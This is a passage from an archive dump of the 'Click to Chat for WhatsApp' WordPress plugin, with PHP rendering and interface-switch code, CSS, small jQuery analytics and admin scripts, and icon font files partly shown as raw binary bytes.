        $path_d = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $style_desktop. '.php';
        
        $style_mobile = sanitize_file_name( $style_mobile );
        $path_m = plugin_dir_path( HT_CTC_PLUGIN_FILE ) . 'new/inc/styles/style-' . $style_mobile. '.php';

        
        if ( '' == $call_to_action ) {
            if ( '1' == $style || '4' == $style || '6' == $style || '8' == $style ) {
                $call_to_action = "WhatsApp us";
            }
        }

        $display_css = "display: none; ";

        $side = ( isset( $options['side_2']) ) ? esc_attr( $options['side_2'] ) : 'right';
        $mobile_side = ( isset( $options['mobile_side_2']) ) ? esc_attr( $options['mobile_side_2'] ) : 'right';

        // @uses at styles.
        $is_same_side = 'yes';

        // if desktop and mobile not same settings and not same position side
        if ( !isset( $options['same_settings']) && $side !== $mobile_side ) {
            $is_same_side = 'no';
            $ht_ctc_chat['class_names'] .= " ctc_side_positions ";
        }



        // AMP
        $is_amp = false;
        $on = "";

        /**
         * AMP
         * ampforwp_is_amp_endpoint  / is_amp_endpoint / amp_is_request
         * 
         * scripts handles at class-ht-ctc-scripts.php
         */
        if ( isset($othersettings['amp']) ) {
            if ( function_exists( 'amp_is_request' ) && amp_is_request() ) {
            
                $is_amp = true;

                if ( 'yes' == $is_mobile ) {
                    if ( 'show' == $ht_ctc_chat['display_mobile'] ) {
                        $display_css = "";
                    }
                } else {
                    if ( 'show' == $ht_ctc_chat['display_desktop'] ) {
                        $display_css = "";
                    }
                }
                $display_css .= "cursor:pointer;";

                $pre = rawurlencode($ht_ctc_chat['pre_filled']);
                // 'single quote', 'double quote', '&', '<', '>'
                $pre = str_replace( array('%26%23039%3B', '%26quot%3B', '%26amp%3B', '%26lt%3B', '%26gt%3B'), array('', '', '', '<', '>'), $pre);
                $ext = $ht_ctc_chat['number'] . '?text=' . $pre;
                $wame_link = "https://wa.me/$ext";
                $on = "on=\"tap:AMP.navigateTo(url='$wame_link', target='_blank', opener='')\"";

                // no need to deregister here. since 3.20 handles while adding scripts.
                wp_deregister_script( 'ht_ctc_app_js' );
                wp_deregister_script( 'ht_ctc_woo_js' );
            }
        }
        

        /**
         * greetings
         * 
         *  dont load if its an AMP page or if no greetings dialog selected
         */
        if ( false == $is_amp ) {
            include HT_CTC_PLUGIN_DIR .'new/inc/greetings/class-ht-ctc-chat-greetings.php';
        }

        // webhook
        $hook_url = isset($othersettings['hook_url']) ? esc_attr( $othersettings['hook_url'] ) : '';
        $webhook_format = isset($othersettings['webhook_format']) ? esc_attr( $othersettings['webhook_format'] ) : 'string';
        
        /**
         * ctc
         */
        $ctc = array(

            'number' => $ht_ctc_chat['number'],
            'pre_filled' => $ht_ctc_chat['pre_filled'],
            'dis_m' => $ht_ctc_chat['display_mobile'],
            'dis_d' => $ht_ctc_chat['display_desktop'],
            'css' => $ht_ctc_chat['css'],
            'pos_d' => $ht_ctc_chat['position'],
            'pos_m' => $ht_ctc_chat['position_mobile'],
            'schedule' => $ht_ctc_chat['schedule'],
            'se' => $ht_ctc_os['show_effect'],
            'ani' => $ht_ctc_os['an_type'],
        );

        // desktop url structure if web whatsapp 
        if ( 'web' == $ht_ctc_chat['url_structure_d'] ) {
            $ctc['url_structure_d'] = 'web';
        }

        // mobile url structure if whatsapp://..
        if ( 'wa_colon' == $ht_ctc_chat['url_structure_m'] ) {
            $ctc['url_structure_m'] = 'wa_colon';
        }

        // url_target_d
        $ctc['url_target_d'] = $ht_ctc_chat['url_target_d'];

        // anlalytics count type
        if ( 'session' == $analytics ) {
            $ctc['analytics'] = $analytics;
        }

        // ga
        if ( 'yes' == $ht_ctc_os['is_ga_enable'] ) {
            $ctc['ga'] = 'yes';
        }
        
        // ads
        if ( 'yes' == $ht_ctc_os['ga_ads'] ) {
            $ctc['ads'] = 'yes';
        }

        // fb
        if ( 'yes' == $ht_ctc_os['is_fb_pixel'] ) {
            $ctc['fb'] = 'yes';
        }

        // adds only if hided on current page
            // global
        if ( 'no' == $display ) {
            $ctc['display'] = 'no';
        }
            // page level
        if ( 'hide' == $page_display ) {
            $ctc['page_display'] = 'hide';
        }

        // webhook
        if ( '' !== $hook_url ) {
            // $ctc hook url
            $ctc['hook_url'] = $hook_url;
            $hook_v = isset($othersettings['hook_v']) ? $othersettings['hook_v'] : '';

            if ( is_array($hook_v) ) {
                $hook_v = array_filter($hook_v);
                $hook_v = array_values($hook_v);
                $hook_v = array_map('esc_attr', $hook_v );
                
                if ( isset($hook_v[0]) ) {
                    // $ctc - hook values
                    $ctc['hook_v'] = $hook_v;
                }
            }
        }

        // webhook sharing data type. - json, stringify json
        if ('json' == $webhook_format) {
            $ctc['webhook_format'] = 'json';
        }

        // notification time
        if ('' !== $notification_time ) {
            $ctc['n_time'] = $notification_time;
        }


        // Greetings - init display ..
        $g_init = isset($greetings_settings['g_init']) ? esc_attr( $greetings_settings['g_init'] ) : 'default';
        $ctc['g_init'] = $g_init;

        // Greetings - display device based (if not all then add value)
        $g_device = isset($greetings_settings['g_device']) ? esc_attr( $greetings_settings['g_device'] ) : 'all';
        if ('all' !== $g_device) {
            $ctc['g_device'] = $g_device;
        }

        /**
         * ht_ctc_chat_var sends to front end in better way then ht_ctc_variables. so including event name here..
         */
        $g_an_event_name = (isset($othersettings['g_an_event_name'])) ? esc_attr( $othersettings['g_an_event_name'] ) : 'click to chat';
        $ctc['g_an_event_name'] = $g_an_event_name;

        $pixel_event_type = ( isset($othersettings['pixel_event_type']) ) ? esc_attr( $othersettings['pixel_event_type'] ) : 'trackCustom';
        $pixel_event_name = 'Click to Chat by HoliThemes';
        if ( 'trackCustom' == $pixel_event_type ) {
            if (isset($othersettings['pixel_custom_event_name']) && '' !== $othersettings['pixel_custom_event_name']) {
                $pixel_event_name = esc_attr( $othersettings['pixel_custom_event_name'] );
            }
        } else {
            if (isset($othersettings['pixel_standard_event_name']) && '' !== $othersettings['pixel_standard_event_name']) {
                // lead, ..
                $pixel_event_name = esc_attr( $othersettings['pixel_standard_event_name'] );
            }
        }
        $ctc['pixel_event_name'] = $pixel_event_name;

        $ctc = apply_filters( 'ht_ctc_fh_ctc', $ctc );

        // data-attribute - data-settings 
        $ht_ctc_settings = htmlspecialchars(json_encode($ctc), ENT_QUOTES, 'UTF-8');
        
        // localize script - ht_ctc_chat_var
        wp_localize_script( 'ht_ctc_app_js', 'ht_ctc_chat_var', $ctc );


        $g_an_params = ( isset($othersettings['g_an_params']) && is_array($othersettings['g_an_params']) ) ? array_map( 'esc_attr', $othersettings['g_an_params'] ) : '';
        $pixel_params = ( isset($othersettings['pixel_params']) && is_array($othersettings['pixel_params']) ) ? array_map( 'esc_attr', $othersettings['pixel_params'] ) : '';
        
        $g_an_value = ( isset( $options['g_an'] ) ) ? esc_attr( $options['g_an'] ) : 'ga4';

        $values = array(
            'g_an_event_name' => $g_an_event_name,
            'pixel_event_type' => $pixel_event_type,
            'pixel_event_name' => $pixel_event_name,
        );

        // google analytics params
        if ( is_array($g_an_params) && isset($g_an_params[0]) ) {

            foreach ($g_an_params as $param ) {
                $param_options = ( isset($othersettings[$param]) ) ? $othersettings[$param] : [];
                $key = ( isset($param_options['key']) ) ? esc_attr($param_options['key']) : '';
                $value = ( isset($param_options['value']) ) ? esc_attr($param_options['value']) : '';

                if ( !empty($key) && !empty($value) ) {
                    $values['g_an_params'][] = $param;
                    $values[$param] = [
                        'key' => $key,
                        'value'=> $value,
                    ];
                }
            }
        } else {

            // if user not yet saved the params. (backward compatibility)
            if (!isset($othersettings['parms_saved'])) {
                if ('ga' == $g_an_value) {
                    $values['g_an_params'] = [
                        'g_an_param_1',
                        'g_an_param_2',
                    ];

                    $values['g_an_param_1'] = [
                        'key'=> 'event_category',
                        'value'=> 'Click to Chat for WhatsApp',
                    ];

                    $values['g_an_param_2'] = [
                        'key'=> 'event_label',
                        'value'=> '{title}, {url}',
                    ];
                } else {
                    $values['g_an_params'] = [
                        'g_an_param_1',
                        'g_an_param_2',
                        'g_an_param_3',
                    ];
                    $values['g_an_param_1'] = [
                        'key'=> 'number',
                        'value'=> '{number}',
                    ];
                    $values['g_an_param_2'] = [
                        'key'=> 'title',
                        'value'=> '{title}',
                    ];
                    $values['g_an_param_3'] = [
                        'key'=> 'url',
                        'value'=> '{url}',
                    ];
                }
            }
        }

        // pixel params
        if ( is_array($pixel_params) && isset($pixel_params[0]) ) {

            foreach ($pixel_params as $param ) {
                $param_options = ( isset($othersettings[$param]) ) ? $othersettings[$param] : [];
                $key = ( isset($param_options['key']) ) ? esc_attr($param_options['key']) : '';
                $value = ( isset($param_options['value']) ) ? esc_attr($param_options['value']) : '';
                
                if ( !empty($key) && !empty($value) ) {
                    $values['pixel_params'][] = $param;
                    $values[$param] = [
                        'key' => $key,
                        'value'=> $value,
                    ];
                }

            }
        } else {
            if ( !isset($othersettings['parms_saved']) ) {
                $values['pixel_params'] = [
                    'pixel_param_1',
                    'pixel_param_2',
                    'pixel_param_3',
                    'pixel_param_4',
                ];
                
                $values['pixel_param_1'] = [
                    'key'=> 'Category',
                    'value'=> 'Click to Chat for WhatsApp',
                ];
                
                $values['pixel_param_2'] = [
                    'key'=> 'ID',
                    'value'=> '{number}',
                ];
                
                $values['pixel_param_3'] = [
                    'key'=> 'Title',
                    'value'=> '{title}',
                ];
                
                $values['pixel_param_4'] = [
                    'key'=> 'URL',
                    'value'=> '{url}',
                ];
            }
        }

        $values = apply_filters( 'ht_ctc_fh_variables', $values );

        // data-attribute - data-values 
        // $ht_ctc_values = htmlspecialchars(json_encode($values), ENT_QUOTES, 'UTF-8');

        wp_localize_script( 'ht_ctc_app_js', 'ht_ctc_variables', $values );



        // 'no' == $display - hided from global settings (display can be no, only after checking page display is not show)
        // 'hide' == $page_display - hided at page level settings
        if ( 'no' == $display || 'hide' == $page_display ) {
            return;
        }


        // load style
        if ( is_file( $path ) ) {
            do_action('ht_ctc_ah_before_fixed_position');
            ?>  
            <div class="<?= $ht_ctc_chat['class_names'] ?>" id="<?= $ht_ctc_chat['id'] ?>"  
                style="<?= $display_css ?> <?= $default_position ?>" <?= $ht_ctc_os['attributes'] ?> <?= $on ?> >
                <?php
                // add greetings dialog
                do_action('ht_ctc_ah_in_fixed_position');
                ?>
                <div class="ht_ctc_style ht_ctc_chat_style">
                <?php
                // notification badge.
                if ( 'show' == $ht_ctc_chat['notification_badge'] ) {
                    ?>
                    <span class="ht_ctc_notification" style="display:none; padding:0px; margin:0px; position:relative; float:right; z-index:9999999;">
                        <span class="ht_ctc_badge" style="position: absolute; top: -11px; right: -11px; font-size:12px; font-weight:600; height:22px; width:22px; box-sizing:border-box; border-radius:50%; <?= $notification_border ?> background:<?= $notification_bg_color ?>; color:<?= $notification_text_color ?>; display:flex; justify-content:center; align-items:center;"><?= $ht_ctc_chat['notification_count'] ?></span>
                    </span>
                    <?php
                }
                // include style
                if ( isset( $options['select_styles_issue'] ) ) {
                    ?>
                    <div class="ht_ctc_desktop_chat"><?php include $path_d; ?></div>
                    <div class="ht_ctc_mobile_chat"><?php include $path_m; ?></div>
                    <?php
                } else {
                    include $path;
                }
                ?>
                </div>
            </div>
            <?php
            do_action('ht_ctc_ah_after_fixed_position');
            

            // if js var not available, dont depend on this element ht_ctc_chat_data
            // no_number may be needed.
            ?>
            <span class="ht_ctc_chat_data" 
                data-no_number="<?= $no_number ?>"
                data-settings="<?= $ht_ctc_settings ?>" 
            ></span>
            <?php

        }

        
    }

}

new HT_CTC_Chat();

// $ht_ctc_chat = new HT_CTC_Chat();

// // wp_footer / wp_head / get_footer
// $ht_ctc_chat_load_position = apply_filters( 'ht_ctc_chat_load_position', 'wp_footer' );

// add_action( "$ht_ctc_chat_load_position", array( $ht_ctc_chat, 'chat' ) );

endif; // END class_exists checkclick-to-chat-for-whatsapp/common/class-ht-ctc-switch.php000064400000006641147510273110017374 0ustar00<?php
/**
 * Switch .. new or previous - user inerface
 * new user default to new interface
 * prev user - default to prev interface if not switched.
 * 
 * @since 2.0
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Swift' ) ) :

class HT_CTC_Swift {

	public function __construct() {
        $this->define_constants();
        $this->to_switch();
	}
	
	/**
     * Define Constants
     */
    private function define_constants() {
        
		$this->define( 'HT_CTC_WP_MIN_VERSION', '4.6' );
		$this->define( 'HT_CTC_PLUGIN_DIR_URL', plugin_dir_url( HT_CTC_PLUGIN_FILE ) );
		$this->define( 'HT_CTC_PLUGIN_BASENAME', plugin_basename( HT_CTC_PLUGIN_FILE ) );
		$this->define( 'HT_CTC_BLOG_NAME', get_bloginfo('name') );
		// $this->define( 'HT_CTC_SITE_URL', get_site_url() );
		// $this->define( 'HT_CTC_HOME_URL', home_url('/') );
		// $this->define( 'HT_CTC_HOME_URL', get_bloginfo('url') );

		$os = get_option('ht_ctc_othersettings');

		// if debug mode is enabled.
		if ( isset($os['debug_mode']) ) {
			$this->define( 'HT_CTC_DEBUG_MODE', true );
		}
		
        do_action('ht_ctc_ah_define_constants');

	}

	/**
     * @uses this->define_constants
     * @param string $name Constant name
     * @param string.. $value Constant value
     */
    private function define( $name, $value ) {
        if ( ! defined( $name ) ) {
            define( $name, $value );
        }
	}
	

	public function to_switch() {

		// new interface  yes/no
		$is_new = '';

		// user new/prev
		$user = '';


		/**
		 * if first time user - new interface .. $is_new = 'yes';
		 * if user swifted to new interface .. $is_new = 'yes';
		 * 
		 * if user swifted to prev interface .. $is_new = 'no';
		 * if prev user / update .. $is_new = 'no';
		 */
		$ccw_options = get_option('ccw_options');

		if ( isset( $ccw_options['number'] ) ) {
			$user = 'prev';
			$is_new = 'no';
		} else {
			// new user - new interface
			$user = 'new';
			$is_new = 'yes';
		}

		// prev user and if switched
		if ( 'prev' == $user ) {

			$ht_ctc_switch = get_option('ht_ctc_switch');

			if ( isset($ht_ctc_switch['interface']) && 'yes' == $ht_ctc_switch['interface'] ) {
				$is_new = 'yes';
			}
		} 


		// while testing
		// $is_new = 'yes';

		// define HT_CTC_IS_NEW
		if ( ! defined( 'HT_CTC_IS_NEW' ) ) {
			define( 'HT_CTC_IS_NEW', $is_new );
		}


		// include related files ..
		if ( 'yes' == HT_CTC_IS_NEW ) {
			// new interface

			// register hooks
			include_once HT_CTC_PLUGIN_DIR .'new/inc/class-ht-ctc-register.php';
			register_activation_hook( HT_CTC_PLUGIN_FILE, array( 'HT_CTC_Register', 'activate' )  );
			register_deactivation_hook( HT_CTC_PLUGIN_FILE, array( 'HT_CTC_Register', 'deactivate' )  );
			register_uninstall_hook( HT_CTC_PLUGIN_FILE, array( 'HT_CTC_Register', 'uninstall' ) );

			// include main file - prev
			include_once HT_CTC_PLUGIN_DIR .'new/class-ht-ctc.php';

			// create instance for the main file - HT_CTC
			function ht_ctc() {
				return HT_CTC::instance();
			}

			ht_ctc();

		} else {
			// prev interface 

			// include main file - prev
			include_once HT_CTC_PLUGIN_DIR .'prev/inc/class-ht-ccw.php';


			// create instance for the main file - HT_CCW
			function ht_ccw() {
				return HT_CCW::instance();
			}

			ht_ccw();
		}

	}


}

new HT_CTC_Swift();

endif; // END class_exists checkclick-to-chat-for-whatsapp/prev/assets/css/admin_main.css000064400000000513147510273110017453 0ustar00/* Admin Styles */

.display-none {
    display: none; }

.display-block {
    display: block; }

input.input-margin {
    margin: 0 0 3px 0 !important; }

.select-margin .select-1 input {
    margin: 0 0 3px 0 !important; }

.options .submit {
    position: sticky !important;
    bottom: 1px;
    float: right; }click-to-chat-for-whatsapp/prev/assets/css/mainstyles.css000064400000007116147510273110017555 0ustar00@font-face {
  font-family: 'ccw';
  src:  url(../fonts/ccw.eot);
  src:  url(../fonts/ccw.eot#iefix) format('embedded-opentype'),
    url(../fonts/ccw.ttf) format('truetype'),
    url(../fonts/ccw.woff) format('woff'),
    url(../fonts/ccw.svg#ccw) format('svg');
  font-weight: normal;
  font-style: normal;
}
.ccw_plugin .icon {
  font-family: 'ccw' !important;
  speak: none;
  font-style: normal;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}
.icon-whatsapp2:before {
  content: "\E902";
}
.icon-brand:before {
  content: "\E901";
  color: #25d366;
}
.icon-send:before {
  content: "\E900";
}
.icon-whatsapp:before {
  content: "\EA93";
}
div.ccw_plugin,
.inline {
  display: inline; }
.inline-block {
  display: inline-block; }
.chatbot {
  position: fixed;
  z-index: 99999999; }
.img-icon {
  height: 48px; }
.nofocus:focus {
  outline: none; }
.pointer {
  cursor: pointer; }
.sc_item {
  z-index: 99; }
.style-3-sc {
  height: 20px; }
.style-9-sc {
  height: 20px; }
.img-icon-5 {
  height: 80%;
  vertical-align: middle; }
.img-icon-6 {
  height: 63%;
  vertical-align: middle;
  margin-left: 7px; }
.style-6-img {
  max-height: 40px;
  text-decoration: overline; }
.icon-2 {
  font-size: 2rem; }
.btn_only_style_div_circle {
  border-radius: 50%;
  text-align: center; }
.btn_only_style_div_circle_sc {
  background-color: orange;
  border-radius: 50%;
  height: 48px;
  width: 48px;
  line-height: 48px;
  text-align: center; }
.btn_only_style_div {
  background-color: orange;
  height: 48px;
  width: 48px;
  line-height: 48px;
  text-align: center; }
.style8 span {
  text-transform: none; }
.ccw_plugin .animated {
  animation-duration: 1s;
  animation-fill-mode: both; }
.ccw_plugin .animated.infinite {
  animation-iteration-count: infinite; }
.ccw_plugin .animated.hinge {
  animation-duration: 2s; }
.ccw_plugin .animated.flipOutX,
.ccw_plugin .animated.flipOutY,
.ccw_plugin .animated.bounceIn,
.ccw_plugin .animated.bounceOut {
  animation-duration: .75s; }
@keyframes bounce {
  from, 20%, 53%, 80%, to {
    animation-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);
    transform: translate3d(0, 0, 0); }
  40%, 43% {
    animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
    transform: translate3d(0, -30px, 0); }
  70% {
    animation-timing-function: cubic-bezier(0.755, 0.05, 0.855, 0.06);
    transform: translate3d(0, -15px, 0); }
  90% {
    transform: translate3d(0, -4px, 0); } }
.ccw_plugin .bounce {
  animation-name: bounce;
  transform-origin: center bottom; }
@keyframes flash {
  from, 50%, to {
    opacity: 1; }
  25%, 75% {
    opacity: 0; } }
.ccw_plugin .flash {
  animation-name: flash; }
@keyframes tada {
  from {
    transform: scale3d(1, 1, 1); }
  10%, 20% {
    transform: scale3d(0.9, 0.9, 0.9) rotate3d(0, 0, 1, -3deg); }
  30%, 50%, 70%, 90% {
    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, 3deg); }
  40%, 60%, 80% {
    transform: scale3d(1.1, 1.1, 1.1) rotate3d(0, 0, 1, -3deg); }
  to {
    transform: scale3d(1, 1, 1); } }
.ccw_plugin .tada {
  animation-name: tada; }
.ccw_plugin .style-4.chip {
  display: inline-block;
  padding-left: 12px;
  padding-right: 12px;
  padding-top: 0px;
  padding-bottom: 0px;
  border-radius: 25px;
  font-size: 13px;
  line-height: 32px;
}
.ccw_plugin .style-4.chip img {
  float: left;
  margin: 0 8px 0 -12px;
  height: 32px;
  width: 32px;
  border-radius: 50%;
}click-to-chat-for-whatsapp/prev/assets/js/app.js000064400000002710147510273110015610 0ustar00jQuery(document).ready(function () {
    jQuery(".inline_issue").prev("p").css("display", "inline");
    jQuery('.ccw-an').hover(add, remove);
    function add() {
        jQuery(this).addClass('animated infinite');
    }
    function remove() {
        jQuery(this).removeClass('animated infinite');
    }
});
var url = window.location.href;
var google_analytics = ht_ccw_var.google_analytics;
var title = ht_ccw_var.page_title;
ht_ccw_clickevent();
function ht_ccw_clickevent() {
    var ccw_plugin = document.querySelector('.ccw_plugin');
    if ( ccw_plugin ) {
        ccw_plugin.addEventListener('click', ht_ccw_clicked);
    }
}
function ht_ccw_clicked() {
    if ( 'true' == google_analytics ) {
        google_analytics_event();
    }
}
function google_analytics_event() {
    var ga_category = ht_ccw_var.ga_category.replace('{{url}}', url).replace('{{title}}', title);
    var ga_action = ht_ccw_var.ga_action.replace('{{url}}', url).replace('{{title}}', title);
    var ga_label = ht_ccw_var.ga_label.replace('{{url}}', url).replace('{{title}}', title);
    // ga('send', 'event', 'Contact', 'Call Now Button', 'Phone');
    if ("ga" in window) {
        tracker = ga.getAll()[0];
        if (tracker) tracker.send("event", ga_category, ga_action, ga_label );
    } else if ("gtag" in window) {
        gtag('event', ga_action, {
            'event_category': ga_category,
            'event_label': ga_label,
        });
    }
}click-to-chat-for-whatsapp/prev/assets/js/admin_app.js000064400000004036147510273110016763 0ustar00// Click to Chat - prev
jQuery(document).ready(function($) {
  // wpColorPicker
  $('.color-wp').wpColorPicker();
});

// initialize materialize function .. 
document.addEventListener('DOMContentLoaded', function() {
  var elems = document.querySelectorAll('select');
  M.FormSelect.init(elems, {});
  var elems = document.querySelectorAll('.collapsible');
  M.Collapsible.init(elems, {});
});

jQuery(document).ready(function () {

  let position = document.querySelectorAll('.position');

  let default_display = () => {
    
    let val = jQuery('.select').find(":selected").val();
    let position1 = document.querySelector('.position-1');
    let position2 = document.querySelector('.position-2');
    let position3 = document.querySelector('.position-3');
    let position4 = document.querySelector('.position-4');

    if (val == '1') {
      position1.classList.add('display-block');
    } else if (val == '2') {
      position2.classList.add('display-block');
    } else if (val == '3') {
      position3.classList.add('display-block');
    } else if (val == '4') {
      position4.classList.add('display-block');
    }

  }
  default_display();

  //  incase display-block is added remove it ..
  let remove = () => {
    position.forEach(e => {
      e.classList.remove('display-block');
    });
  }

  jQuery(".select").on("change", function (e) {
    let val = e.target.value;
    let position1 = document.querySelector('.position-1');
    let position2 = document.querySelector('.position-2');
    let position3 = document.querySelector('.position-3');
    let position4 = document.querySelector('.position-4');

    if (val == '1') {
      remove();
      position1.classList.add('display-block');
    } else if (val == '2') {
      remove();
      position2.classList.add('display-block');
    } else if (val == '3') {
      remove();
      position3.classList.add('display-block');
    } else if (val == '4') {
      remove();
      position4.classList.add('display-block');
    }

  });

});click-to-chat-for-whatsapp/prev/assets/fonts/ccw.ttf000064400000004044147510273110016504 0ustar00�0OS/29�`cmap���\gaspxglyf3�'��|head�;#�6hhea��4$hmtxnCX locaT�xmaxp�� name&x�]�Vpost |�������3	@����@�@ @ ����� �������t��797979@@�@7-@����@*VV*�����Dd�.'&"'.'.'&67>7>76&'.'.#&"#"27>7>'.'#"&/7'.54>32#.#"%312>54.'�
E	

8%%
	$/!9N0#)<
�9n1�+
 !Cs�X+QLF.Cs�Wi%T\b3i��Q#!H8|@j��P%8$Z!
	"!5



G		2./N-<>	
#!��	*�2s;W�sB .ELQ*W�sB
#7%P��iC�:��GP��i3b[S$��nq7Og2#"&'.'.=>7>323232632>54.#"732#"&'7.54>33a
@F>S%	
(
 +
%tJ�a99a�JJ�a9#".�+f4Y�uDDu�Y7j0�NDu�Y�2

	Z79*R"
+7��9a�JJ�b88b�J8l.�,Du�YY�uDL�2r:Y�uD����?�.#"%31812>54.1"&/7'.54>32#.'&"'.'.'&67>7>76&'.'.#&"#"7>7>'.'i$S[b3i��P""H
7{@i��P&7�u9m1�+
 !Cr�W+QLE. Cr�W�	D		
	
8$$
	$/!8N0$(;
+$8%P��iC�:��GP��i3b[S�	)�2s<W�sB.ELQ+W�rC<!
	" 6			G		2//N-<?

#"7�_<���{S��{S������@n
0��>��<*Q	3
Z		C	-	T		6	
4tccwccwVersion 1.0Version 1.0ccwccwccwccwRegularRegularccwccwFont generated by IcoMoon.Font generated by IcoMoon.click-to-chat-for-whatsapp/prev/assets/fonts/ccw.svg000064400000007753147510273110016520 0ustar00<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg">
<defs>
<font id="ccw" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960" descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" horiz-adv-x="512" d="" />
<glyph unicode="&#xe900;" glyph-name="send" d="M64 64v298l640 86-640 86v298l896-384z" />
<glyph unicode="&#xe901;" glyph-name="brand" d="M746.56 346.368c-12.8 6.4-75.328 36.992-87.040 41.216-11.648 4.288-20.16 6.4-28.672-6.4-8.448-12.608-32.896-41.152-40.32-49.6-7.424-8.32-14.848-8.96-27.52-3.2-12.8 6.4-53.888 19.84-102.528 63.36-37.888 33.92-63.36 75.52-70.848 88.32-7.424 12.8-0.832 19.84 5.568 26.24 5.76 5.76 12.8 14.72 19.2 22.4 6.272 7.68 8.32 12.8 12.672 21.12 4.224 8.96 2.112 16-1.088 22.4s-28.672 69.12-39.296 94.080c-10.24 24.96-20.8 21.76-28.672 21.76-7.36 0.64-15.872 0.64-24.32 0.64-8.576 0-22.4-3.2-34.048-15.36-11.648-12.8-44.544-43.52-44.544-105.6s45.632-122.24 51.968-131.2c6.4-8.32 89.856-136.32 217.6-191.36 30.464-12.8 54.144-20.48 72.704-26.88 30.464-9.6 58.24-8.32 80.192-5.12 24.512 3.84 75.392 30.72 86.016 60.8 10.88 30.080 10.88 55.040 7.68 60.8s-11.52 8.96-24.32 14.72zM514.56 32h-0.64c-75.52 0-150.4 20.48-215.68 58.88l-15.36 9.152-160-41.6 42.88 155.52-10.24 16c-42.24 67.2-64.64 144.64-64.64 224.384 0 232.32 190.080 421.76 424.192 421.76 113.28 0 219.52-44.16 299.52-124.16 80-79.36 124.16-185.6 124.16-298.24-0.192-232.32-190.272-421.76-423.872-421.76zM875.52 812.8c-97.28 94.080-225.28 147.2-361.6 147.2-280.832 0-509.44-227.584-509.632-507.392 0-89.408 23.424-176.64 68.032-253.696l-72.32-262.912 270.272 70.528c74.496-40.32 158.336-61.696 243.648-61.76h0.256c280.96 0 509.696 227.648 509.824 507.52 0 135.488-52.928 263.040-149.12 358.912z" />
<glyph unicode="&#xe902;" glyph-name="whatsapp2" horiz-adv-x="878" d="M562.857 394.286c9.714 0 102.857-48.571 106.857-55.429 1.143-2.857 1.143-6.286 1.143-8.571 0-14.286-4.571-30.286-9.714-43.429-13.143-32-66.286-52.571-98.857-52.571-27.429 0-84 24-108.571 35.429-81.714 37.143-132.571 100.571-181.714 173.143-21.714 32-41.143 71.429-40.571 110.857v4.571c1.143 37.714 14.857 64.571 42.286 90.286 8.571 8 17.714 12.571 29.714 12.571 6.857 0 13.714-1.714 21.143-1.714 15.429 0 18.286-4.571 24-19.429 4-9.714 33.143-87.429 33.143-93.143 0-21.714-39.429-46.286-39.429-59.429 0-2.857 1.143-5.714 2.857-8.571 12.571-26.857 36.571-57.714 58.286-78.286 26.286-25.143 54.286-41.714 86.286-57.714 4-2.286 8-4 12.571-4 17.143 0 45.714 55.429 60.571 55.429zM446.857 91.428c197.714 0 358.857 161.143 358.857 358.857s-161.143 358.857-358.857 358.857-358.857-161.143-358.857-358.857c0-75.429 24-149.143 68.571-210.286l-45.143-133.143 138.286 44c58.286-38.286 127.429-59.429 197.143-59.429zM446.857 881.143c237.714 0 430.857-193.143 430.857-430.857s-193.143-430.857-430.857-430.857c-72.571 0-144.571 18.286-208.571 53.714l-238.286-76.571 77.714 231.429c-40.571 66.857-61.714 144-61.714 222.286 0 237.714 193.143 430.857 430.857 430.857z" />
<glyph unicode="&#xea93;" glyph-name="whatsapp" d="M873 811.2c-95.8 96-223.2 148.8-359 148.8-279.6 0-507.2-227.6-507.2-507.4 0-89.4 23.4-176.8 67.8-253.6l-72-263 269 70.6c74.2-40.4 157.6-61.8 242.4-61.8h0.2c0 0 0 0 0 0 279.6 0 507.4 227.6 507.4 507.4 0 135.6-52.8 263-148.6 359zM514.2 30.4v0c-75.8 0-150 20.4-214.8 58.8l-15.4 9.2-159.6-41.8 42.6 155.6-10 16c-42.4 67-64.6 144.6-64.6 224.4 0 232.6 189.2 421.8 422 421.8 112.6 0 218.6-44 298.2-123.6 79.6-79.8 123.4-185.6 123.4-298.4-0.2-232.8-189.4-422-421.8-422zM745.4 346.4c-12.6 6.4-75 37-86.6 41.2s-20 6.4-28.6-6.4c-8.4-12.6-32.8-41.2-40.2-49.8-7.4-8.4-14.8-9.6-27.4-3.2s-53.6 19.8-102 63c-37.6 33.6-63.2 75.2-70.6 87.8s-0.8 19.6 5.6 25.8c5.8 5.6 12.6 14.8 19 22.2s8.4 12.6 12.6 21.2c4.2 8.4 2.2 15.8-1 22.2s-28.6 68.8-39 94.2c-10.2 24.8-20.8 21.4-28.6 21.8-7.4 0.4-15.8 0.4-24.2 0.4s-22.2-3.2-33.8-15.8c-11.6-12.6-44.4-43.4-44.4-105.8s45.4-122.6 51.8-131.2c6.4-8.4 89.4-136.6 216.6-191.4 30.2-13 53.8-20.8 72.2-26.8 30.4-9.6 58-8.2 79.8-5 24.4 3.6 75 30.6 85.6 60.2s10.6 55 7.4 60.2c-3 5.6-11.4 8.8-24.2 15.2z" />
</font></defs></svg>click-to-chat-for-whatsapp/prev/assets/fonts/ccw.woff000064400000004160147510273110016647 0ustar00wOFFp$OS/2``9cmaph\\���gasp�glyf�||3�'�headH66�;#hhea�$$��hmtx�  nCloca�T�maxp�  �name�VV&x�]postP  |�������3	@����@�@ @ ����� �������t��797979@@�@7-@����@*VV*�����Dd�.'&"'.'.'&67>7>76&'.'.#&"#"27>7>'.'#"&/7'.54>32#.#"%312>54.'�
E	

8%%
	$/!9N0#)<
�9n1�+
 !Cs�X+QLF.Cs�Wi%T\b3i��Q#!H8|@j��P%8$Z!
	"!5



G		2./N-<>	
#!��	*�2s;W�sB .ELQ*W�sB
#7%P��iC�:��GP��i3b[S$��nq7Og2#"&'.'.=>7>323232632>54.#"732#"&'7.54>33a
@F>S%	
(
 +
%tJ�a99a�JJ�a9#".�+f4Y�uDDu�Y7j0�NDu�Y�2

	Z79*R"
